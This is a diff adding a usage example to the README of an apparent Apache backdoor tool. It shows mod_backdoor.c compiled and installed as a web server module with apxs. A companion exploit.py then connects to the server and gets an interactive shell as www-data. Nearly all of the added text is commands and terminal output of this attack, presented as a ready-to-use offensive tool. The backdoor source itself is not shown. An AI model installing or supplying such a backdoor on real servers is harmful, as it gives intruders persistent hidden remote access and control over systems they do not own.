@@ -11,6 +11,52 @@ Usage:
11
11
python exploit.py [HOST] [PORT]
12
12
```
13
13
14
+ Example:
15
+ ```
16
+ root@kali:~/backdoor# apxs -i -a -c mod_backdoor.c && service apache2 restart
17
+ /usr/share/apr-1.0/build/libtool --mode=compile --tag=disable-static x86_64-linux-gnu-gcc -prefer-pic -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c -o mod_backdoor.lo mod_backdoor.c && touch mod_backdoor.slo
18
+ libtool: compile: x86_64-linux-gnu-gcc -pipe -g -O2 -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -DLINUX -D_REENTRANT -D_GNU_SOURCE -pthread -I/usr/include/apache2 -I/usr/include/apr-1.0 -I/usr/include/apr-1.0 -I/usr/include -c mod_backdoor.c -fPIC -DPIC -o .libs/mod_backdoor.o
19
+ /usr/share/apr-1.0/build/libtool --mode=link --tag=disable-static x86_64-linux-gnu-gcc -Wl,--as-needed -Wl,-z,relro -Wl,-z,now -o mod_backdoor.la -rpath /usr/lib/apache2/modules -module -avoid-version mod_backdoor.lo
20
+ libtool: link: rm -fr .libs/mod_backdoor.la .libs/mod_backdoor.lai .libs/mod_backdoor.so
21
+ libtool: link: x86_64-linux-gnu-gcc -shared -fPIC -DPIC .libs/mod_backdoor.o -Wl,--as-needed -Wl,-z -Wl,relro -Wl,-z -Wl,now -Wl,-soname -Wl,mod_backdoor.so -o .libs/mod_backdoor.so
22
+ libtool: link: ( cd ".libs" && rm -f "mod_backdoor.la" && ln -s "../mod_backdoor.la" "mod_backdoor.la" )
23
+ /usr/share/apache2/build/instdso.sh SH_LIBTOOL='/usr/share/apr-1.0/build/libtool' mod_backdoor.la /usr/lib/apache2/modules
24
+ /usr/share/apr-1.0/build/libtool --mode=install install mod_backdoor.la /usr/lib/apache2/modules/
25
+ libtool: install: install .libs/mod_backdoor.so /usr/lib/apache2/modules/mod_backdoor.so
26
+ libtool: install: install .libs/mod_backdoor.lai /usr/lib/apache2/modules/mod_backdoor.la
27
+ libtool: finish: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin" ldconfig -n /usr/lib/apache2/modules
28
+ ----------------------------------------------------------------------
29
+ Libraries have been installed in:
30
+ /usr/lib/apache2/modules
31
+
32
+ If you ever happen to want to link against installed libraries
33
+ in a given directory, LIBDIR, you must either use libtool, and
34
+ specify the full pathname of the library, or use the '-LLIBDIR'
35
+ flag during linking and do at least one of the following:
36
+ - add LIBDIR to the 'LD_LIBRARY_PATH' environment variable
37
+ during execution
38
+ - add LIBDIR to the 'LD_RUN_PATH' environment variable
39
+ during linking
40
+ - use the '-Wl,-rpath -Wl,LIBDIR' linker flag
41
+ - have your system administrator add LIBDIR to '/etc/ld.so.conf'
42
+
43
+ See any operating system documentation about shared libraries for
44
+ more information, such as the ld(1) and ld.so(8) manual pages.
45
+ ----------------------------------------------------------------------
46
+ chmod 644 /usr/lib/apache2/modules/mod_backdoor.so
47
+ [preparing module `backdoor' in /etc/apache2/mods-available/backdoor.load]
48
+ Module backdoor already enabled
49
+ root@kali:~/backdoor# python exploit.py 127.0.0.1 80
50
+ $ whoami
51
+ www-data
52
+
53
+ $ uname -a
54
+ Linux kali 4.13.0-kali1-amd64 #1 SMP Debian 4.13.10-1kali2 (2017-11-08) x86_64 GNU/Linux
55
+
56
+ $ exit
57
+
58
+ ```
59
+
14
60
License
15
61
```
16
62
THE DRINKWARE LICENSE
0 commit comments